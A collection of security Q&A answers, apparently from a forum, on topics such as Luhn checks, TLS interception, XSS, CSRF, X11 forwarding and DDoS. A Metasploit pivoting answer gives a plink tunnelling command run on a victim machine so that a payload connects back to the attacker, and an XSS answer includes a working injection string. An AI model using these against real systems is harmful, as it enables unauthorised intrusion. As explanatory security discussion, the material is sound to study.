Generally speaking, disclosing information is what makes public knowledge evolve, so I think it's a great policy morally speaking.


Is it possible to crack ransomware encryption if I have the original file?

I'm sure there are tools out there to assist in the process, but I can't think of any off of the top of my head.

The "attack" you would use to break the encryption would be a known plain text attack since you have an unencrypted (plaintext) and an encrypted (ciphertext) version of the same file. If you could change the plaintext and reencrypt it you could turn the process into a chosen plaintext attack, which is slightly easier to break. Depending on the ransomware though it might not use the same encryption technique every time.

Knowing the steps taken to get from one state to the other would require figuring out or breaking the encryption used and as schroeder said this is a very difficult thing to do. It would likely require millions of processing core hours to do.


Does the new Fedora package manager allow unauthorized installations?

I would suggest that you try to reproduce this. Most likely, you already had an authenticated session and your system remembered it due to the keyring. A great way to test would be immediately after a reboot.

aditya@20:54:20:~$ nano
bash: nano: command not found...
Install package 'nano' to provide command 'nano'? [N/y] y

 * Waiting in queue...
 * Loading list of packages....
 * Downloading details about the software sources....
 * Loading list of packages....
 * Waiting in queue...
 * Waiting for authentication... Failed to install packages: Failed to obtain authentication.

Disclaimer: I am a Fedora user and contributor.


Bogus Instagram account using my email, never been verified, has over 1000 followers

Usually bots create Instagram accounts to sell likes and followers. If your email is used for this account, use the Forgot Password functionality to receive a reset password link, reset it, and delete the account.

Or take over it and repurpose it. But I don't believe your 1000 bot-followers would be interested on your legit content...


Generally, the first two octets of the card number (although in a lot of cases, only the first six numbers are used) are reserved as an IIN (Issuer Identification Number). These are what you to refer to as BIN numbers, however the term "BIN" (Bank Identification Number) is generally not used anymore. These IINs are used to identify which card processing organisation the processing of the card should be directed towards.

Card Numbers have an algorithmic validation check built in to make sure they are valid before sending anything off to a server. This algorithmic validation check follows the modulus 10 algorithm (aka the Luhn Algorithm). This is how PayPal, WorldPay and all the other companies that process card details are able to instantly tell you that your card was entered incorrectly, without sending your details over the internet constantly.

The algorithm follows the following simple steps:

Double every second digit (so, if you have 1 2 3 4, you'd double 2 & 4)
If your double is ten or greater, then add the individual digits together (let's say you doubled 8, you'd get 16 - you would add 1 and 6 together to get 7)
Add all of these digits you've performed operations on together. So, in our first case, we'd add (2 x 2) and (4 x 2) together, producing ten. If the number ends with a zero (you calculate this by performing modulus 10 on the number, and comparing to zero) then the card number is valid.

Further to this, all major card providers have their own assigned IINs or ranges of IINs. This is why when you're typing, many websites will instantly identify Visa (beginning with 4) or Mastercard (beginning with 51 through 55).

The reason some websites will allow you to enter in fake credit cards is because it's difficult to establish if the card is active and genuine. The primary way to do this is charging a small amount to the card, which is often not worth the trouble. The websites won't be checking if that card is active, they'll be checking if it is a card meeting the technical standards. Hence, until they try and bill it, they will have no idea if the card is genuinely active.

Some companies need more verification than this, however. PayPal for example charges you with a unique code reference that you must tell them to ensure that, not only is the card active, but it's also a card you control. This is a measure to prevent card fraud.


What's the risk if I accidently type my password into a username field (Windows logon)?

If you have access, check the Security Event logs: eventvwr.msc .

Look for failed logon events and you will see your password as an unknown user account if the logging is set up to record those kinds of events.

EDIT

I just tested this on Win7 SP1. It requires that Failure Auditing is enabled. I tried to log in with a bogus username, and this was the result:

Account For Which Logon Failed:
    Security ID:        NULL SID
    Account Name:       **PASSWORD!** [emphasis mine]
    Account Domain:     HOME

So, if failure auditing is in place, then mistyping your password in the username field exposes your password to those who have access to the logs.


what format is bouncycastle opengpg public key?

This is base64 (but not full 'armor') of a public key block in OpenPGP (rfc4880 et pred) format used by GPG. Aside: there is no such thing as opengpg; PGP was the original software by Phil Zimmerman and the company he turned it over to, OpenPGP is the standard, and GNU Privacy Guard aka GnuPG aka GPG implements that standard, as also does BouncyCastle.

OpenPGP and thus GPG key blocks include much more than just the raw crypto key; in particular public keys (including this one) almost always are attached to a user-id and carry one or more signatures -- at least a 'self-signature' by the key or its parent, and often signatures by other (trusted) users to form the 'web of trust'. See 11.1 in the linked RFC for an overview.

After converting this base64 to binary, gpg --list-packets decodes it as:

:public key packet:
        version 4, algo 1, created 1484099607, expires 0
        pkey[0]: [2048 bits]
        pkey[1]: [17 bits]
        keyid: 1163CD81B25C13AC
:user ID packet: "Chris Zheng (czheng) <czheng@atlassian.com>"
:signature packet: algo 1, keyid 1163CD81B25C13AC
        version 4, created 1484099607, md5len 0, sigclass 0x13
        digest algo 8, begin of digest cb ed
        hashed subpkt 2 len 4 (sig created 2017-01-11)
        hashed subpkt 27 len 1 (key flags: 03)
        hashed subpkt 11 len 6 (pref-sym-algos: 9 8 7 3 2 1)
        hashed subpkt 21 len 5 (pref-hash-algos: 8 2 9 10 11)
        hashed subpkt 22 len 3 (pref-zip-algos: 2 3 1)
        hashed subpkt 30 len 1 (features: 01)
        hashed subpkt 23 len 1 (key server preferences: 80)
        subpkt 16 len 8 (issuer key ID 1163CD81B25C13AC)
        data: [2046 bits]
:trust packet: flag=00 sigcache=00

As you can see it is a 2048-bit RSA key, not 4096-bit. The algo in a pubkey packet or a signature packet is OpenPGP's encoding of a pubkey algorithm and 1 is RSA, see section 9.1.

I'm not sure how knowing the format helps you verify a signature, but that's what you asked.


What are the security risks to displaying an image loaded over http in a page loaded over https?

The problems you will face with "mixed content" are many, and well documented.  For instance, see Google's own description.

Some simple examples are:

Session cookies may be sent in clear when fetching the image, if it is on the same domain (provided "secure" is not set)
Attackers may substitute the content loaded over HTTP with something malicious that executes in the same security context as the content loaded over HTTPS. This is more easily seen for Javascript, but similar problems exist for image formats as well (whether due to bugs or to the formats supporting scripting).


Vulnerable framework and IIS server version's are being displayed in an error page of a 3rd party application

The source file path is not necessarily an issue. However it is bad practice and leaks information that may be useful for exploiting other issues.

  IIS server version (7.5) which has exploits as per my knowledge.

IIS 7.5 is still under Extended Support until 2020. This means it should receive security updates - so this isn't necessarily an issue. You would need to request the patch history from the 3rd party.

  .Net framework version which is vulnerable ASP.Net Forms Authentication Bypass

Again this was patched. A version number alone means nothing.

  What is the risk of this misconfiguration to us. How to justify it?

What exactly is it your clients submit to you? If it is there application executables are these distributed publicly? Or are they server side applications? And are they signed?

The biggest security risk I can see would be if someone patched a flaw in the application before submitting it to yourselves. Hence the client would have a vulnerability which you would not be able to make them aware of.


Security standard for web-based Tele-Radiology software

I'll assume you're in the U.S., and are a Covered Entity, since you refer to HIPAA and are storing patient information.

First off, note that the HITECH act and related federal guidance put significantly more detailed guidance on the table; much more than the "reasonable effort" HIPAA guidance, and involving much more serious action in the case of a breach.

If you can afford it, get a consultant who specializes in the area.  You'll need a lawyer who knows the area whether you have a consultant or not.

For official HIPAA/HITECH guidance, as a bare minimum, start with HHS (Health and Human Services), NIST (National Institute of Standards and Technology), and FIPS (Federal Information Processing Standards) - I've outlined a few high points below - this list is in no way complete nor comprehensive - it's merely a starting point!

HHS.gov Health Information Privacy

HHS.gov Security Rule Guidance Material

HHS.gov Understanding Health Information Privacy

HHS.gov Breach Notification Rule - this is one of the most critical pages, as it links to important Federal Register articles.

Breach Notification Guidance and RFI (74 FR 19006) is the first; in particular, page 19010 refers you to various NIST Special Publications

NIST SP 800-52 Guidelines for the Selection, Configuration, and Use of Transport Layer Security (TLS) Implementations is called out specifically; Rev.1 is currently in draft to replace the old version - READ IT.

Assess your web server and all other TLS system cipher suite choices - you can use Qualys SSL Labs for free to see the list of cipher suites your server supports; compare those against what's allowed in SP 800-52.

Breach Notification Interim Final Regulation (74 FR 42740) is another link on the 74 FR 19006 chain

Also see Omnibus HIPAA Rulemaking

Other NIST Special Publications of interest include, but are not limited to:

SP 800-131A Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths came out Jan 2011, and almost all of the cutoff dates have already passed.

I haven't seen specific reference to SP 800-131A in the Federal Register documents, but it contains extremely good guidance, and certainly wouldn't be something you'd want to explain having ignored, on national media, after a breach
RSA < 2048 bits is no longer "Acceptable"
DSA with |p| < 2048 or |q| < 224 is no longer "Acceptable"
EC < 224 is no longer "Acceptable"
SHA-1 is no longer "Acceptable" for digital signature generation or digital signature verification.

It IS still "Acceptable" for non-digital signature applications, including in particular HMAC based KDF's.

HMAC < 112 bits is no longer "Acceptable"

SP 800-111 Guide to Storage Encryption Technologies for End User Devices is specifically mentioned in 74 FR 19006
SP 800-77 Guide to IPsec VPNs is specifically mentioned in 74 FR 19006
SP 800-113 Guide to SSL VPNs is specifically mentioned in 74 FR 19006
SP 800-88 Guidelines for Media Sanitization Rev.1 is in draft at this time, and is specifically mentioned in 74 FR 19006

FIPS 140-2 Annex A: Approved Security Functions for FIPS PUB 140-2, Security Requirements for Cryptographic Modules is specifically mentioned in 74 FR 19006.

Note that DSA/ElGamal GPG and PGP keys do not qualify as FIPS 140-2 compliant - not only is ElGamal not listed, the DSA keys are almost always 1024 bit, which is too short per NIST SP 800-131A (above).


Should ettercap make the targets this slow?

ARP poisoning causes the traffic between those hosts to be forwarded through you, as part of the man in the middle attack.

This causes performance degradation on the targets for a few reasons:

There is increased latency due to the added network hop.
Your network card has to send and receive 2 to 4 times as much data as normal, since you're acting as a relay for both upstream and downstream traffic.
You have to commit the incoming packets to a system memory (RAM) buffer. This isn't so much of a problem on modern machines, but for embedded devices the memory bandwidth is tiny.
Your CPU has to process the packets in real-time.

From your scenario, it looks like the biggest bottleneck is the CPU. It's running at 50% because the program is using a single thread to handle the processing and you have two cores. As such, it's running all out and not quite keeping up with the traffic. To be fair, 1.4GHz isn't very fast, especially if you consider that it's running this operation at the equivalent of one core. The easiest solution is to get a faster computer to do the ARP poisoning. The harder solution is to re-write the ARP poisoning tool to use multiple threads to handle the packet processing workload.


On a general basis, you should not forward X11 display from untrusted environments to your local environment. X11 is an old technology which was not conceived with security in mind from the beginning, on the contrary it was designed to allow every application to communicate with each other.

Was does "communicate" mean? As you said, it could grasp you keystrokes. It could also take screenshots. It could interact with other windows, inject keystrokes, mouse moves, etc., etc., etc.. Well, I guess you got it: allowing an untrusted system to export X11 display to your local server is a bit like passing your screen, keyboard and mouse to this untrusted system. You are right in the sense it may not be able to access your local files directly, but it will be nearly equivalent.

Some work has been done in order to mitigate the risk though. X11 indeed include a distinction between a trusted and untrusted clients. An untrusted client should be confined in a subset of actions designed to prevent most of the nefarious actions described above.

SSH integrates this mode, even if some Linux distribution disable it and consider all X11 client as trusted for the end-user convenience (!). You may want to check the ForwardX11 and ForwardX11Trusted parameters in your SSH client configuration files:

ForwardX11 tells if X11 is enabled by default when you establish an SSH connection (you must use the -x (lower-case 'x') command-line parameter to disable it on-demand),
ForwardX11Trusted tells if, when you enable X11 forwarding, the client will be automatically considered as trusted. I strongly recommend you to put this one to no.

When ForwardX11Trusted is set to no, the ssh command will offer you to select the trust level for your session:

The -X command-line parameter will consider the client as unsecure, this is recommended way to go.
The -Y command-line parameter will consider the client as secure, this is only needed for very specific use-cases and should be used with care since you must consider that the remote applications will have a full access to your system.

However, as I stated above, you should not rely on the security feeling provided by the -X "secure" mode to export display from untrusted environment to your local X server. But this should be sane enough if you consider this Docker environment as a trusted environment.

GUI application isolation is a domain under heavy study currently. While every other of the Linux system has went through large hardening measures until now, I have the impression that X was nearly always left appart, too large and complex to really evolve and be adapted to current needs, but leaving now a nasty weakness.

Secure platforms like Qubes OS which is precisely relying on a set of isolated Xen VM exporting X display to a Dom0 domain went through the pain to develop their own X protocol "reverse-proxy" between the X clients and server to ensure the server's security. I do not know any standalone equivalent of such technology, but you may find interesting ideas here: Best method to sandbox X applications in ubuntu. X server is leaving his last times and ought to be replaced by a more modern and secure alternative as soon as such alternatives become ready (see Wayland and Mir for instance), but until then at least check to who you entrust your desktop!


Key based encryption for files with the key stored on a USB drive?

I would not use that approach. When you mount a USB drive, read a file from it, etc all sorts of copies of that data could end up in OS memory, logs, etc. You'll be fighting an uphill battle to make this secure, especially if the attacker has the ability to take memory dumps of the server, or plant malware on the server.

A better approach would be to use some sort of USB hardware crypto module so that the server itself never needs to touch the private keys. The idea is that the cryptographic keys live on the crypto device and never leave it, you send the data you want to encrypt / decrypt to the device, it does the crypto operation for you and returns the results.

With this approach you are guaranteed that no caches of the private key exist on the server because the server never touched it in the first place, and if you pull out the USB device, the server loses the ability to do crypto operations, which I think is which you want.

Some technolgies / search terms you can look for include:

usb smartcard
cryptographic token
PKCS#11 token
TPM (trusted platform module)
HSM (hardware security module)

You may want to look into hardware-based solutions like USB smart-cards, TPMs, or lightweight HSMs where the crypto is done on the device so that the server never actually touches the key.


How can you prevent email addresses from being harvested from a registration form?

The email harvesting scenario you describe is really slow and not likely to happen, at least as a way to gather lots of email addresses. The attacker would need to brute force really long strings against your form. As already stated by symcbean, emails are already very cheap if you buy them and it's pretty easy to block such attempts if someone tries to use this form repeatedly.

The standard way of gathering emails is by using tools like theharvester to quickly gather all mails associated with a domain (for example a company).

In case of password reset, you already answered part of your question yourself, you should always just return neutral feedback and if you want, implement a blocking mechanism which blocks an IP after too many attempts to register / reset.

If someone wants to register, you can:

first ask for his registration mail
then send a registration link to the mail
the further registration process will then continue from the link

This way it's not possible to guess if an email is already registered.


Metasploit: pivoting to machine without internet access

"Hack Naked" - Make sure you don't have any firewall issues to you because you may only get 1 shot at this. Figure out the complexity of getting ports forwarded to your machine. I think this should do it... but it requires testing once you're in to make sure that you can ensure connectivity.

Configure local port forwarding on the victim pc with plink. (assuming windows)

Victim listens on 53 or whatever you want (using 53 as example)
Victim forwards to your host on XYZ port
If using msf or nc, setup the listener.
On Victim: plink -batch -l root -pw {password} yourip -p {22} -L 53:127.0.0.1:4444
I put {22} in curly brackets because you don't know for sure if you can get port 22 open on that port. Egress rules might not permit outbound ssh. Especially if it's a MS only-shop. You can rack your brain on iptables redirect for a specific port to 22, or just add the listening port to sshd_config. Remembering to restore defaults later.

You would configure your payload to connect to the open port on the victim pc... you're relying on the port forwarding tunnel on the victims port 53 to be received on your system local port 4444.

LHOST=victim internal ip
LPORT=53

Make sure to verify connectivity and then deliver your payload/execute


IP whitelisting as two factor authentication method for server access under PCI DSS

IP whitelisting might be accepted by a QSA this year and it may not be accepted by the same QSA or another QSA next year. If you use certificate, token or OTP 2FA, it'll pretty much be accepted by any QSA anytime.

It may be worth having a chat with your QSA about scope, segmentation, jump servers and remote access and agreeing exactly when 2FA is required. Depending on your setup, you might not need 2FA from your office to a jump server for managing the CDE if the office is segmented, not in scope but also does not constitute remote access.


VirtualBox: Ubuntu With or Without Virtual Hard Drive

Why not install however you want, then mark the disk immutable, then take a snapshot?  Every time it restarts, you'll get back to the disk image as you set it up.  This way you can use FDE if you like, and still not have any persistence session to session.


Can you access another program's memory with malloc?

For that hack to be reasonably possible, the hacker would need to already have full access to the program with sensitive information and your system, which means they'd also have direct access to the data used by the sensitive program.  It also implies that no other memory is allocated or freed in between both instances or it would be otherwise impossible to plan how to access the proper memory segments.

The solution to protect yourself is therefore to protect your system at every single layer.  This means to only install reliable software, have good antivirus protection (if appropriate), a good firewall, reliable administrators, and limit system access as much as reasonably possible.

If you wanted to prevent another program from being able to reallocate the same segments in a predictable fashion, you could use randomness in your memory allocations, but that would seriously increase the risk of implementing software bugs which would be harder to troubleshoot, while not making a practical difference because of the previously mentioned points.


What, specifically, does the Windows Firewall do?

This means that any application running on the computer can send any traffic from the computer through any port to any device on the network or the internet. This also means that any device on the network or the internet can send traffic through any port on the computer.

Let's deal with that notion first...

Getting traffic on the internet over TCP/IP is kinda like sending post (with a few inconsistencies) to an apartment block. The IP address maps to the address of the apartment block and the TCP port to the apartment number in the building.

In order to send a packet to this address, you must first own an apartment in real life so you have a return address. Then, you try posting your parcel.

If nobody lives in that apartment, your package won't be received. It'll be left in the lobby with the porter and probably abandoned. The same is true of TCP ports - if there's no application listening (or "bound") to the port, the OS won't pass it into an application. However, the porter (the OS) does indeed handle that packet, if only briefly. Bugs in the porter are quite serious.

Now, in reality, just like with post, it's not as simple as you put your packet into the post and it comes out the other end. When you post your packet, your local post service take it so far, look up some information and work out which postal service to pass it on to (think international post).

Now we need to get a bit complicated. Suppose the person you want to post to works in a university building on a campus. Postal services don't deliver there; instead, they deliver to the porter in the main building; he then devices where to direct that package. This is a microcosm of the routing situation I alluded to above and is analogous to NAT.

So so far, we've learned that you can't always get packages to the requisite address, and you need someone there to receive them in the first place.

  When the firewall gets switched on, every port is closed (as in inbound and outbound traffic on every port is blocked) unless the user specifically opens one, or Windows UAC indicates to the user that a particular port on the firewall needs opened for an application to run (this usually happens when an application is being installed). In this scenario the user clicks yes and Windows configures the firewall to allow the application to function properly on their behalf.

Nope. They're only open if there's someone at home with the light on. Otherwise, the porter looks at the package and says "who dis?" before promptly binning it (putting it the trash, if you're American).

  So there we have it. If the firewall is off, every port is open and any application running on the computer can send and receive data through any port if it is designed to do so. Also any device that can connect to the computer (as a rule of thumb any device that can ping the computer) can send data through any port. Also, turning the firewall makes everything nice and secure right?

Well... in a very, very simplistic way, yes, kind of.

See, in truth, it is possible that the person living at the address you're posting to just doesn't like you very much. It's nothing personal, they've just never met you. So they don't open your package either, having had a quick peek at the sender. Many applications, e.g. webservers can direct traffic based on its incoming parameters. A common example is the HTTP HOST: header.

So, now let's fit Windows Firewall into our analogy. Windows Firewall is basically a Porter with a degree from MIT. He looks at the incoming packages and knows about people living in the various apartments. He has a list of rules which he can check recipients against - for example, he might allow Fred to receive packages from anyone on his street, or town, but not from France. How exactly he does this really depends on how he is instructed by whoever owns the building.

That is, in essence, how a firewall works. It does control what ports are open and closed and may do additional filtering based on packet destinations, sources, ports and even contents. However, the on/off idea isn't quite there. It's nowhere near that simple.

To explain, let's assume Fred and George live on the same street. George doesn't like Fred very much, because Fred uses a Mac (or your own stupid reason of choice in here. I just don't like Macs). So George decides to send Fred a stinkbomb.

Fred's porter has a rule that says if anyone wants to send something and they live on the same street, then Fred should be sent the packet. So George posts his package and next thing you know there's a smell of rotten eggs in Fred's flat.

I realise that's not the sort of IT professional-speak, so let's put it another way - your firewall only protects you according to the rules you have allowed. However, if one of those allowed rules gives an attacker a way to exploit your system, and the attacker does, the presence of the firewall will not help. This is true of Windows firewall as much as any other firewall.


Crypto software: overwrite sensitive buffer

It is common but a bit of a myth, too. In older days, the overwrite was felt to be important because of the following:

Some widely deployed operating systems (in particular Windows from the "3.1" lineage, up to and including Windows 98 and Millenium) did not zero out memory pages before giving them to applications, so an application could obtain excerpts of old memory from another application.
Data in RAM may leak to the disk through virtual memory.
It was believed at some point that "partial leakage" could be prevalent, e.g. that a read-only buffer overflow could reveal part of the RAM but not everything.

These properties have gone quite stale nowadays. In particular, modern operating systems (including Windows 2000, XP and successors) do zero out pages systematically. Also, swap file usage has diminished; devices like smartphones and tablets don't use swap at all, and are happy with that (and I also do as such on my laptop computers). More importantly, people have begun to understand that the problem of leaked data has a large scope: when you decrypt a private message, the private key is indeed a piece of sensitive data, but so is the message itself. And the memory buffers used to display the said message on the screen, too. As well as all the temporary buffers for the algorithm which computed how the private text had to be broken down into properly justified paragraphs for display. And so on.

At the same time, the software ecosystem has evolved, and we now use a lot more programming languages which allocate memory through a garbage collector (e.g. Java, C#, Python, PHP, Javascript, Perl, Ruby... all use a GC). The efficient GC algorithms move objects around in RAM, transparently. And by "move" I really mean "copy". A consequence is that "wiping out" memory from the program itself no longer guarantees that no trace of the data remains.

The synthetic conclusion is that wiping data from application code is a poor response to the overall problem of data leakage. It is common, but that's not the same as recommended. If the local security model calls for such wiping out at all, then it should be done in a systematic and system-wide fashion, by the memory allocator (e.g. the GC, for languages which are GC-based), not by cluttering the application code with explicit calls to memset().

One first step, which is easy enough to apply, is to see whether you could not just deactivate swap space altogether. This would remove the source of the most serious leaks (leaks to physical mediums).


Locking server ‘root’ to IP whitelist, But prevent my lockout

This sounds like an XY problem to me. The real question should be on how to better protect your root account from malicious remote logins and not how to limit access to the root account to only specific IP addresses. While this could be useful in a defense in depth strategy the ways you propose to deal with dynamic IP addresses likely add even more attack surface instead.

I recommend to abandon your specific ideas and instead use other ways to protect your root account from unwanted remote access. Note that the following ways can also be used together for increased protection and that there are additional ways possible for even better protection:

Don't use passwords but always use key based authentication. This makes brute forcing accounts practically impossible.
Don't allow remote login as root in the first place but login as a normal "jump" user (preferable key based not password based) and then sudo to root or create a tunnel to localhost which you then can use for key based SSH login as root.
Use some form of port knocking or SPA (single packet authorization) to temporarily allow access to the SSH service from a specific IP address. This kind of matches your idea but it affects the whole SSH daemon instead only root access and it also uses established implementations instead of some self-made stuff.


Logging out of Basic HTTP Authentication

Basic auth credentials are transmitted with each and every request by the browser. Hence why you cannot traditionally "log out" without closing the browser.

The reason why this approach works is because the browser is stateless. Normally when it sends a GET/POST/HEAD request it receives a 200 OK response. If it receives a 401 response it will prompt the user for credentials and resubmit the request with these credentials. If those credentials are wrong the server will again send a 401 response and the browser again prompts. So when the browser receives a 401 response it assumes the credentials sent in the prevoius request were wrong and will ask again.

It is important to remember that you are relying on client side behaviour to clear the credentials and ask for new ones from the user and as such there is always a risk associated with something outside of your control.


How to encourage my ISP to use better security

Tell your ISP about the issue. It's unlikely to do anything, but you should do that for ethical reasons before you take the next steps.
After they ignored you for a few weeks, report the issue to any technology-oriented news websites which are popular in your location so they can shame them.
Should the websites be uninterested in running the story, or should the ISP not consider it worth their while even after they got publicly shamed, look for a different ISP.


Can a properly implemented TLS connection be intercepted?

Regarding your first question: The answer hinges on the definition of "transparent". To me, transparent interception would imply that no certificates or certificate authorities have to be manually added by clients to the "trust store" of their devices. As long as this condition holds and your browser correctly checks the presented certificate for its validity, an attacker will not be able to intercept your connection, unless they manage to do one of the following:

compromise one of the CAs your device trusts
somehow get a trusted CA to sign a counterfeit certificate for a site they do not actually own
manipulate the trust store on your device
or get hold of a specific server's private key.

The reason why these are the only attack vectors (again, if the validity check is properly implemented client-side) is that the server will present a certificate (including the server's public key) that is itself signed with some CA's private key. The client checks whether the signature matches with the public key it has stored for the corresponding CA, and if it does, starts a TLS/SSL handshake with the server. It is at one point of this handshake protocol that the client encrypts some connection-specific information with the server's public key. Whoever is intercepting the message will then have to decrypt the information with the server's private key and send it back to prove they are not, in fact, someone else.

Regarding your second question, I do not know what exactly is meant in the sentence you quoted. What I know is that all popular modern browsers do correctly validate certificates. There is, however, another interesting mechanism in regards to certificate security that is not adopted by all modern browsers, at least as far as I know. Public Key Pinning is a concept related to trust on first use : When you first visit a website, you "pin" the public key you were shown to that domain and check whether it is still the same on subsequent visits to the page. This protects against attack scenarios 1 and 2 outlined above - you do no longer have to worry about fake certificates being issued if only you saw the legitimate certificate once before. Public key pinning can not only be done for specific servers but for any CA in the chain of trust. To answer your actual question, Chrome and Firefox are able to do public key pinning (and there are probably others, but I do not know every single one of them).


Is an XSS attack possible under these constraints?

Yes, XSS is possible.
The first injection into src is secure, as " is HTML encoded, which is a proper defense against XSS in a HTML attribute value context.
The second injection however is insecure, as it takes place in a JavaScript attribute context. Here, HTML encoding is not a proper defense and XSS can be achieved by injecting ');alert('1, which would give you (I replaced the undefined openUrl function for a self-contained POC):
<img src="http://example.com/[input]" oncontextmenu="console.log('http://example.com/&#39;);alert(&#39;1')">

While this may look secure at first sight, it is not. Right-clicking on the image will execute the payload. This is the case because the HTML parser first decodes the HTML-encoded &#39; before passing it to the JavaScript interpreter.
The proper solution here is a bit tricky. You do need the HTML encoding for ", but you also need to backslash-escape ' (either in its HTML-encoded or basic form). \ will also need to be escaped.


Does Httponly cookie secures the sessions against xss?

does http only cookie secures the user session?

Yes, that's the whole idea behind httpOnly.

But as you already mentioned, there may be other vulnerabilities which disclose the cookie. This may happen via vulnerabilities in the server (CVE-2012-0053 which you alluded to), via server misconfiguration (TRACE, although modern browsers do not support it), or via issues in the application itself (the session cookie may be exposed in debug functionality or in the admin backend; an example would be a call to phpinfo in PHP).

It should be noted that httpOnly only mitigates XSS slightly, and that there are various other attack scenarios with XSS that are (almost) as bad as stealing the session (such as CSRF - eg to add new admin users - , phishing, keylogging, reading out secret information, etc).


CSRF tokens for a JWT-auth system using cookies

when an XHR request is made, my JS will look at the csrf_cookie value, and add it to a header

If you are not using CORS and you are checking this header server-side then this alone will be enough to mitigate CSRF.

The reason is that custom headers cannot be sent cross-domain without CORS.

Setting and checking the actual token value helps further because any vulnerabilities present in plugins (e.g. Flash) that may help bypass the custom header restriction cannot be leveraged to bypass your protection.

See here for using custom headers as a CSRF mitigation.

Your approach seems like a variation of the Encrypted Token Pattern.


To answer your 1st question, under the shared category in the finder, you will see any hosts on your network with file sharing enabled. This is normal behavior.

Regarding your name showing up as 'test', in system preferences, under User Accounts, check to make sure that the correct Username is showing up. Did you set up this account? Also, under 'Sharing', check to see if any of the File Sharing or Remote Access features are enabled. Unless these are enabled, no other hosts on your network should have been able to access your machine, unless they are exploiting a vulnerability.


Will the result of HTTPS and SSH encryption of the same data be identical for two separate requests?

No.

The session key under which the data is actually encrypted is derived randomly.


Can "remember me" be done securely on an accountless website?

Depending on the type of submissions you are accepting your site would strike me as having a serious security flaw because you accept submissions without authentication. If Bob knows Alice's email address he could submit data in her name, so you cannot trust the source of any submission. Although you send a confirmation email many people (and I'm assuming as you are talking about a school it's young people) would probably click the email without a second thought. As a parent I'd be concerned if my kids' school had a system like that.

As for whether it is safe, the question is safe from what? Why would you be concerned about protecting an email address which anyone could guess if they know the email address' naming convention?

EDIT:
If all you want to do it make it so a system remembers an email address just use a cookie, that will remember data for specific users, so it would work on shared equipment. Or you could simply tell the browser it's an autocomplete field, same effect. I'd keep in mind that kids share their computers often, it may more advisable to make them type it in every time so friends don't end up submitting in each other's names.


Combining Boxcryptor and encrypted cloud service

Dual encryption increases security, makes usage less practical and introduces problems when you want to recover your files.

So if you have to use dual encryption (because cloud service encrypts again no matter what) it's fine. But if you have freedom to choose, it's more practical and less troublesome to use a more complex key instead of encrypting two times.


If a user visited a malicious website a year ago, should we nuke from orbit to be safe?

What you have there is evidence of an infection attempt, not a successful infection. It's not uncommon to have these types of files in the temp internet folder if they were not blocked by malware protection.

However, you do need more evidence that the machine is clean before you consider NOT nuking it from orbit. Scans from a LiveCD (or boot-time scan), or evidence that the attempt was blocked would be required.

If you are unsure, or cannot confirm that the infection did not occur, then you should re-image. You DO have a rapid re-imaging strategy, right??

My other concern is that these files were not seen until now, which raises more questions for which the answers are likely to be to reimage anyway.

On a side note about anti-virus: "trust, but confirm". My rule of thumb is that AV blocks 80% of possible threats. I confirm clean machines instead of trusting a 'dirt preventor'.


My school wifi asks to 'trust' a certificate on iPhones. Does this allow them to view SSL traffic?

It's ok. The certificate you installed and trusted is used to provide you secure authentication against their RADIUS server and prevent you from connecting to rogue RADIUS server. If someone decides to steal your Active Directory credentials by installing a rogue RADIUS server your phone will pop up with a warning that RADIUS certificate is not trusted.

By trusting this certificate you are not risking with anything else. This certificate can't be used by school to read your SSL traffic or attempt to MITM your SSL traffic. From what I read in your question, your school does it correctly and cares about your security.

Regarding your question: why your phone does not trust that certificate (which is certainly issued by trusted authority). RADIUS requires explicit trust to particular RADIUS authentication certificate, because you don't know what AP you are connecting to. Otherwise, an attacker could get certificate from other trusted CA vendor (say, Let's Encrypt) and use it to impersonate school RADIUS server and steal your credentials.

This is not an issue in SSL context, because you know what kind of certificate you expect, because you manually type web site name in address bar. In wi-fi don't know to which AP you are connected and to ensure that it is legitimate, AP should provide RADIUS certificate you explicitly trust.


I say we take off and nuke the entire site from orbit. It's the only way to be sure.

Probably the origin of this saying.

In the context of having your computer infected by a virus: even if malware seems to be removed, it may not be - and the only way to be sure it's completely gone (and even then it's hard to be 100%) is to completely wipe the system and start fresh.

We all know what happens when you don't nuke Xenomorph's from orbit. Don't expect any better from malware.


How does my antivirus determine which CTL is used?

My understanding of this from using Fiddler 2 is that the AV would have to work as a proxy.  Thus, it would act as the client to the website you request and all SSL pages would be signed by the anti-virus software's cert on the fly to make it appear to be valid.  Most likely, in the case that the A/V software doesn't trust the source, it does not apply a valid SSL cert via it's own trust to allow the information to be relayed to the browser.  Because your valid SSL trust has been stripped by the proxy (because the proxy is not in fact your server), the connection appears to be invalid.

It would be up to each client's AV software to respect the certificate trust and there isn't any way I know of to handle that in the general sense other than get a root or domain signing cert from a trusted CA that would most likely be seen as valid by most AV software.


Can the IPS technology in a UTM prevent a DDoS attack?

No, generally not, although of course they say they can.

DDoS is about volume
UTM is almost always at the local end of Internet access
Therefore, DDoS can usually fill the Internet pipe before even reaching a UTM device.

The reasoning -

By definition a DDoS - being Distributed - is taking advantage of multiple attack points to generate a level of traffic which overwhelms the victim.  Unlike a DoS, which may rely upon clever tricks and fragile IP stacks to cause problems based on the parsing of traffic, a DDoS is all about the volume.

Let's say that you've got a big site sitting at the end of a 10 Gigabit link.  Your ISP, of course, can handle much higher volume, but when their router connects to your router, they're only allowing 10 Gbps through.

Now an attacker sends 321 Gbps of traffic to you.  What's your UTM going to do?  It can only work with the meager 10 Gbps trickle, and the most it can do is turn it away - but at that point, the damage has already been done.  Your legitimate traffic is already disrupted and probably not making it in to you because the line is busy.

For protection from DDoS, you need to turn to someone like Prolexic (now part of Akamai, but Akamai does other stuff too, so I use their old name to reduce ambiguity).  These providers have massive bandwidth, and during an attack your re-route your traffic through them, and only they're allowed to send traffic along to you.  They can buffer the attack and try to identify and drop the bad traffic before it traverses your puny 10 Gig link.

I don't doubt many UTM devices still say they can help with DDoS.  My car also claims to be rustproof, but I've got rust spots.  A true DDoS can't be mitigated at the endpoint, and UTMs are almost always at the endpoint.


Preditrend spam, how did they get my friend contact list?

The question is, where do all those recipients (and you) appear together? The "compromised" site (where "compromised" may simply mean "publicly readable") is perforce among that list.

But it might be a long list. Its index is itself a list:

participants of the same mailing list
public pages where the addresses appear together
signatories to some Web petition (saw that happen)
participants in a forum/newsgroup/other
members of the same club

But if the only thing those people have in common is that they're on your friend's contact list - i.e., they don't all also know each other - then yes, the list contains only your friend's account, and chances are that it has been compromised:

online (password guessing / social engineering / brute forcing)
"offline" (malware downloaded on your friend's PC).


Does Google ensure that a packaged app is not tampered with?

